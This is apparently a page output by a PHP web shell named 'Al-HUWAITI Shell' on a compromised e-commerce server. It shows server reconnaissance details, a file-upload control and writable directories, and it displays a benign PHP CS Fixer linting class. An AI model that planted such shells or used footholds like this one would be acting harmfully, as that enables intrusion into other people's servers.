Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/vendor/friendsofphp/php-cs-fixer/src/Linter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/vendor/friendsofphp/php-cs-fixer/src/Linter/ProcessLintingResult.php
<?php

declare(strict_types=1);

/*
 * This file is part of PHP CS Fixer.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *     Dariusz Rumiński <dariusz.ruminski@gmail.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace PhpCsFixer\Linter;

use Symfony\Component\Process\Process;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 *
 * @internal
 */
final class ProcessLintingResult implements LintingResultInterface
{
    /**
     * @var bool
     */
    private $isSuccessful;

    /**
     * @var Process
     */
    private $process;

    /**
     * @var null|string
     */
    private $path;

    public function __construct(Process $process, ?string $path = null)
    {
        $this->process = $process;
        $this->path = $path;
    }

    /**
     * {@inheritdoc}
     */
    public function check(): void
    {
        if (!$this->isSuccessful()) {
            // on some systems stderr is used, but on others, it's not
            throw new LintingException($this->getProcessErrorMessage(), $this->process->getExitCode());
        }
    }

    private function getProcessErrorMessage(): string
    {
        $output = strtok(ltrim($this->process->getErrorOutput() ?: $this->process->getOutput()), "\n");

        if (false === $output) {
            return 'Fatal error: Unable to lint file.';
        }

        if (null !== $this->path) {
            $needle = sprintf('in %s ', $this->path);
            $pos = strrpos($output, $needle);

            if (false !== $pos) {
                $output = sprintf('%s%s', substr($output, 0, $pos), substr($output, $pos + \strlen($needle)));
            }
        }

        $prefix = substr($output, 0, 18);

        if ('PHP Parse error:  ' === $prefix) {
            return sprintf('Parse error: %s.', substr($output, 18));
        }

        if ('PHP Fatal error:  ' === $prefix) {
            return sprintf('Fatal error: %s.', substr($output, 18));
        }

        return sprintf('%s.', $output);
    }

    private function isSuccessful(): bool
    {
        if (null === $this->isSuccessful) {
            $this->process->wait();
            $this->isSuccessful = $this->process->isSuccessful();
        }

        return $this->isSuccessful;
    }
}

Al-HUWAITI Shell